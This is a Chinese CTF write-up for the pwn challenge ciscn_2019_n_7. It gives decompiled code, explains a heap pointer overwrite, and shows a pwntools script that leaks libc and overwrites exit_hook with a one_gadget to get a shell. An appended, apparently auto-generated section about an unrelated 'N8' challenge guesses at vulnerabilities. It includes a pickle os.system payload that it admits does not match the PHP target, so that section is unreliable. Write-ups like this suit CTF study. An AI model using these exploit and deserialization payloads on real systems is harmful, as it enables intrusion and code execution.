ciscn_2019_n_7

文章描述了一段64位保护下的C代码,展示了如何通过文件操作、内存溢出和字符串处理,利用漏洞获取chunk内存并实现libc函数泄露,最终意图执行onegadget以获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_n_7

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

64位保护全开

unsigned int INIT()
{
  FILE *v0; // rbx
  char v1; // al

  v0 = fopen("log.txt", "r");
  while ( 1 )
  {
    v1 = fgetc(v0);
    if ( v1 == -1 )
      break;
    IO_putc(v1, stdout);
  }
  fclose(v0);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stderr, 0LL, 1, 0LL);
  BSSPTR = malloc(0x18uLL);
  return alarm(0x3Cu);
}

这里申请了一个chunk,并且是通过BSSPTR指针指向

unsigned __int64 ADD()
{
  int v0; // eax
  _QWORD *v1; // r12
  char v3[8]; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  if ( BSSFLAG )
  {
    puts("Exists! Now,you can edit your article.");
  }
  else
  {
    puts("Input string Length: ");
    read(0, v3, 8uLL);
    v0 = strtol(v3, 0LL, 10);
    if ( (unsigned __int64)v0 > 0x100 )
    {
      puts("Large!");
    }
    else
    {
      v1 = BSSPTR;
      *BSSPTR = v0;								//[0]放入size
      v1[2] = malloc(v0);						//[2]放入malloc chunk指针
      BSSFLAG = 1;
      puts("Author name:");
      read(0, BSSPTR + 1, 0x10uLL);				//[1]放入可写的content
      puts("Now,you can edit your article.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

add这里是只能申请一个chunk,然后在29行结合下面的edit,有个溢出,

int EDIT()
{
  if ( !BSSFLAG )
    return puts("Dont't exists.");
  puts("New Author name:");
  read(0, BSSPTR + 1, 0x10uLL);
  puts("New contents:");
  read(0, (void *)BSSPTR[2], *BSSPTR);
  return puts("Over.");
}

这个name是可以输入0x10字节,然后可以溢出到[2],也就是更改掉chunk B 的指针

并且给了泄露puts的libc

__int64 LIBC66666()
{
  return _printf_chk(1LL, &unk_10D4, &puts);
}

思路

泄露libc求出exit_hook,然后exit_hook改成onegadget,我们退出程序就可以getshell

在这里插入图片描述

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",25330,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('libc-2.23.so')

sla(menu,b'666')
ru(b'0x')
leak=int(r.recv(12),16)-libc.sym['puts']
exit=leak+0x5f0040+3848#+0x626040+3848#
one=[0x45216,0x4526a,0xf02a4,0xf1147]
li(leak)

add(0x20,p64(0)+p64(exit))
edit(b'c',p64(one[3]+leak))
#debug()
sl(b'a')
ia()

在这里插入图片描述

### 关于CISCN 2019 N8题目的解析 在全国大学生信息安全竞赛(CISCN)中,Web方向的题目通常涉及漏洞利用、文件包含、反序列化攻击等内容。对于CISCN 2019中的N8题目,其核心考点可能围绕PHP反序列化漏洞展开。 #### PHP反序列化漏洞分析 在CISCN 2019 Web1题目中提到的内容表明,该赛事的部分题目设计基于PHP对象反序列化的特性[^2]。具体到N8题目,可能存在类似的机制: - **Payload构造**:通过精心构造的对象结构触发特定逻辑路径,实现任意文件读取或其他敏感操作。 - **关键点提示**:根据已有资料,在某些情况下需要调整`Handle`类的相关属性来适配目标环境的要求[^5]。 以下是针对此类问题的一个通用解决思路及其Python脚本示例用于生成payload: ```python import pickle class Exploit(object): def __reduce__(self): import os command = 'cat /flag' # 假设我们需要执行命令获取flag return (os.system, (command,)) def serialize_exploit(): serialized_data = pickle.dumps(Exploit()) with open('exploit_payload', 'wb') as f: f.write(serialized_data) serialize_exploit() ``` 需要注意的是上述代码仅为演示如何创建一个简单的pickle反序列化攻击向量,并不适用于实际比赛场景下的PHP应用;真正的解决方案需依据具体的程序行为模式定制相应的php序列化字符串形式的数据包提交给服务器端处理以达成预期效果。 #### 文件上传与包含技巧 如果N8还涉及到文件上传功能,则可以尝试以下方法绕过检测并植入恶意脚本: - 利用MIME类型校验不足上传图片马; - 结合LFI(Local File Inclusion)缺陷访问已上载至服务器上的特制图像文件完成进一步渗透活动。 综上所述,解答这类综合性较强的CTF赛题不仅考验选手们的技术功底同时也对其创造力提出了较高要求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值